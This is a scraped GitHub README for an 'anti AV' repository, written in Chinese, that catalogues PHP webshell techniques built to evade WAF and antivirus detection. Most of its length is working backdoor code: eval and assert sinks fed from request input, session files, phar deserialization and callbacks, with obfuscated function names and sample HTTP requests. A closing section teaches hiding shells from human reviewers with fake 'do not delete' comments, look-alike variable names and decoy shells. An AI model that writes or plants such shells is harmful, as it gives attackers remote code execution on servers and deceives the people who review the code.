Skip to content

About

anti AV

Resources

Stars

291 stars

Watchers

14 watching

Forks

Latest commit

 

History

23 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

免责声明

  1. 在对方未授权的情况下,直接或间接利用本项目涉及到的研究样本攻击目标是违法行为.
  2. 本项目涉及到的样本仅为安全研究和授权情况下使用,其使用人员有责任和义务遵守当地法律条规.
  3. 本项目涉及到的样本及文章仅为促进安全防御研究使用,研究人员对因误用该程序造成的资产损坏和损失概不负责.

前言

红蓝对抗中,常常遇到waf。此项目讨论的就是红蓝对抗中的免杀环节。

此项目虽然是免杀shell,但跟代码审计密切相关,有些免杀方法就是真实漏洞的一部分简化,故打算长期沉淀,把自己看到、想到的更新在此。

大概如下四部分:

1、source

2、数据流

3、sink

4、面向人的免杀

这里有的一提的是面向人的免杀,检测工具易过,但是人一看就看得出来。所以也是要免杀人的。

source

直接从变量获取

$_SERVER

GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2
code: phpinfo();
Connection: close
<?php
eval($_SERVER['HTTP_CODE']);

$_FILES Content-Type

POST /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjm8AolGAXiYuOHE9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryjm8AolGAXiYuOHE9
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: phpinfo()

11
------WebKitFormBoundaryjm8AolGAXiYuOHE9--

<?php
assert($_FILES['file']['type']);

GLOBALS

<?php
eval($GLOBALS[_POST][code]);

通过函数二阶获取

get_defined_vars

通过end(get_defined_vars()[_POST])获取

assert(end(get_defined_vars()[_POST]));
<?php if($_SERVER[123]){eval(end(get_defined_vars()[_POST]));};?>

next $GLOBALS

<?php
@$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})];
?>

mysqli_connect

还有 smb \127.0.0.1\1.txt ftp 等等各种获取

--
-- 表的结构 `code`
--

CREATE TABLE IF NOT EXISTS `code` (
  `code` varchar(255) COLLATE utf8mb4_bin NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

--
-- 转存表中的数据 `code`
--

INSERT INTO `code` (`code`) VALUES
('phpinfo();');
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','shell'),'select * from code'))['code']);

file_get_contents

<?php
eval(file_get_contents("http://127.0.0.1/1.txt"));
?>

php://input

需要开启allow_url_include

eval("php://input");

file_put_contents文件

<?php
file_put_contents("shell.txt",$_POST[1]);
$code = file_get_contents("shell.txt");
eval($code);

data:text协议

include "data:text/plain,<?php $_POST[1];?>";

d盾0级

<?php
include "data:text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+.php";

session

<?php
session_id('shell');
session_start();
$_SESSION["username"]="<?php ".$_POST[1]."?>";
session_write_close();

include session_save_path().'/sess_shell';

session_id

GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Connection: close
Cookie: PHPSESSID=706870696e666f28293b


<?php
session_start();
eval(hex2bin(session_id()));
?>

tmp_file

<?php
$temp = tmpfile();
print_r($temp);
fwrite($temp, $_POST[1]);
rewind($temp);

//phpD722.tmp
eval(fread($temp,100));

写文件-error_log

<?php
error_log("<?php phpinfo();?>", 3, "./test.php");
include "test.php";
?>

$_FILES['file']['tmp_name']

sys_get_temp_dir()

<?php
$filename = $_FILES['file']['tmp_name'];
include $filename;

upload_progress

需要条件竞争,php脚本无权限设置cleanup为0

POST /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 64016
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOAAgdsu072sFLxAt
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=test
Connection: close

------WebKitFormBoundaryOAAgdsu072sFLxAt
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo();?>
------WebKitFormBoundaryOAAgdsu072sFLxAt
Content-Disposition: form-data; name="file1"; filename="lufei.txt"
Content-Type: application/x-zip-compressed

33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
------WebKitFormBoundaryOAAgdsu072sFLxAt--
<?php
include session_save_path().'/sess_test';

语法

参数列表展开

<?php
eval(rtrim(...$_POST));
?>

三目运算

<?php
eval(false ? 1 : $_POST[1]);
?>

数据流

uaf

php 5.6测试成功。

<?php
$code = $_POST[1];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$code;

eval($outer_array);
?>

多个文件

1.php

<?php
$code = $_GET[1];
?>

2.php

include "1.php";
eval($code);

非等号赋值-数组传递

<?php
$c = array();
array_push($c,$_POST[1]);
eval($c[0]);
?>

变量覆盖-parse_str

<?php
parse_str("code=$_POST[1]");
eval($code);
?>

变量覆盖-双$

<?php
foreach ($_POST as $key => $value) {
    ${$key} = $value;
}

eval($code);
?>

变量覆盖-extract

<?
extract($_GET).$a($b);

unserialize

<?php
$code=$_POST[1];
$s=base64_decode('YToyOntpOjE7czo2OiJhc3NlcnQiO2k6MjtzOjEwOiJwaHBpbmZvKCk7Ijt9');
$o = unserialize($s);
$o[1]($code);
?>

phar

<?php
class Evil {
	public function __destruct(){
		eval($_GET[1]);
	}
}

$filename = session_save_path()."\poc.jpg";

$base64_content = "R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpEAAAAAQAAABEAAAABAAAAAAAPAAAATzo0OiJFdmlsIjowOnt9BwAAAGZvby50eHQDAAAAwuwKXgMAAACqjP92tgEAAAAAAABiYXKom9RaUZXhHL4WJYxruh//z4dpZQIAAABHQk1C";
$file = fopen($filename, "w");
fwrite($file,base64_decode($base64_content));
fclose($file);

is_file("phar://".$filename);
?>

pop链

<?php

class Wrapper{
	public $evil;

	function __destruct() {
		$evil = new Evil();
		$evil->func = $_GET['func'];
		$evil->code = $_POST[1];
		$evil."11";
	}
}

Class Evil{
	public $func;
    public $code;

    function __toString() {
        call_user_func($this->func,$this->code);
		return "";
    }
}

$warpper = new Wrapper();
?>

回调函数

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

$e = $_REQUEST['e'];
$arr = array($_POST[1],);
array_filter($arr, $e);

匿名类-new class

<?php
$func = new class('assert') extends ReflectionFunction{};
$func->invoke($_POST[1]);
?>

trait

trait Evilable {
	public function test($code){
		eval($code);
	}
}

class Legal{
	use Evilable;
}

$evil = new Legal();
$evil->test($_POST[1]);

数据源来于类属性

trait Evilable {
	public $code;
	public function test(){
		eval($this->code);
	}
}

class Legal{
	use Evilable;
}


$evil = new Legal();
$evil->code = $_POST[1];
$evil->test($evil->code);

自定义路由-工厂模式

<?php
class Evil {
	public $code;
	public function test(){
		eval($this->code);
	}
}

class ClassFactory {
   public function getObject($className){
      return new $className;
   }
}

$classFactory = new ClassFactory();
$evil = $classFactory->getObject("Evil");
$evil->code = $_POST[1];
$evil->test();
?>

自定义路由-责任链

<?php

class Chain{
	public $level;
	public $next;

	public function doChain($level,$nothing){
		if($this->level==$level){
			$this->doit($nothing);
		}
		if($this->next!=null){
			$this->next->doChain($level,$nothing);
		}
   }

	public function doit($nothing){
	}
}

class Legal extends Chain{
	public function __construct(){
		$this->level=1;
	}

	public function doit($nothing){
		echo $code;
	}
}

class Evil extends Chain{
	public $code;

	public function __construct(){
		$this->level=2;
	}

	public function doit($nothing){
		eval($this->code);
	}
}

$legal = new Legal();
$evil = new Evil();
$legal->next = $evil;
$evil->next = null;

$evil->code = $_POST[1];
$legal->doChain(2,"");
?>

sink

代码执行的sink和代码流这块有点区别,执行任意代码的属于sink,执行指定代码的是代码流。

动态调用-字符串

编码

php7

<?php
"\x61\x73\x73\x65\x72\x74"($_POST[1]);
?>

字符串拼接

$func = 'as'.'sert';
$func($_POST[1]);

字符串分割

<?php
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);
?>

各种运算-异或

<?php
// $func = urlencode(~("assert"));
// print($func);//%9E%8C%8C%9A%8D%8B
$func = "%9E%8C%8C%9A%8D%8B";
$func = ~urldecode($func);

$func($_POST[1]);
?>

eval、assert同效果

回调函数

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

文件包含

include('1.txt')

双引号

$code = $_POST[1];
$data = "xxxxxxx{${eval($code)}}xxxxxx";

ob_start

<?php
$func = "system";
$cmd = $_POST[1];
ob_start($func);
echo $cmd;
ob_end_flush();
?>

create_function

<?php
$code = $_POST[1];
create_function('','1;}eval("'.$code.'");/*');
?>

二阶获取sink

数组

<?php
$item['func'] = 'assert';
$item['func']($_POST[1]);
?>

二维数组

<?php
$item['func'] = 'assert';
$array[] = $item;
$array[0]['func']($_POST[1]);
?>

get_defined_functions

<?php

$arr = get_defined_functions()['internal'];

print_r(get_defined_functions()['internal']);
echo $arr[841]; //每个版本的assert数字不同, php版本5.6.27为850

$arr[841]($_POST[1]);

ReflectionFunction

$func = new ReflectionFunction('assert');
print_r($func->invoke($_POST[1]));

别名

php7

<?php
use function \assert as test;
test($_POST[1]);
?>

语法

斜杠

php5.3测试成功

<?php
@eval\($_POST['code']);
?>

preg_replace-@

5.5 7.0 不再支持/e

<?php
@preg_replace('@(.*)@e','\\1',$_REQUEST[1]);
?>

流量

这块随便把流量编码或者加密

//1=cGhwaW5mbygpOw==
<?php
eval(base64_decode($_POST[1]));
?>

面向人的免杀

注释

无中生有-假装是正常代码

自己的程序可以不写注释,shell一定要写个假注释

//实例化对象的工厂与测试代码,千万别删除,可能程序导致崩溃或者莫名其妙的bug
<?php
class Test {
    public $code;
    public function test(){
        eval($this->code);
    }
}

class ClassFactory {
   public function getObject($className){
      return new $className;
   }
}

$classFactory = new ClassFactory();
$test = $classFactory->getObject("Test");
$test->code = $_POST[1];
$test->test();
?>

代码

无中生有

5.5 7.0不再支持/e

<?php
function filter()
{
    // TODO 其他安全过滤
    // 过滤查询特殊字符
    @preg_replace('@test|(.*)|EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|@e','\\1',$_POST[1]);
}
filter();
?>

瞒天过海-正常代码插入shell

插入在比较长的函数代码中

function filter()
{
    $func = 'as'.'sert';
    //其他n多代码
    $code = $_POST[1];
    //其他n多代码
    $func($code);
}
filter();

暗渡陈仓-1il

<?php
$ill = $_POST[1];
//其他代码
//.....
//下面两行代码挨着写
$il1 = "echo 'php test'";
eval($ill);

声东击西-假的shell

暴露一个明显而隐晦,白色中带黑色shell,另外一个文件写入真正的shell。

//另外一个文件写真正的shell

//密码是1
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);

参考

maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia、phith0n、Laruence等发过的文章。

About

anti AV

Resources

Stars

291 stars

Watchers

14 watching

Forks

Releases

Packages

Contributors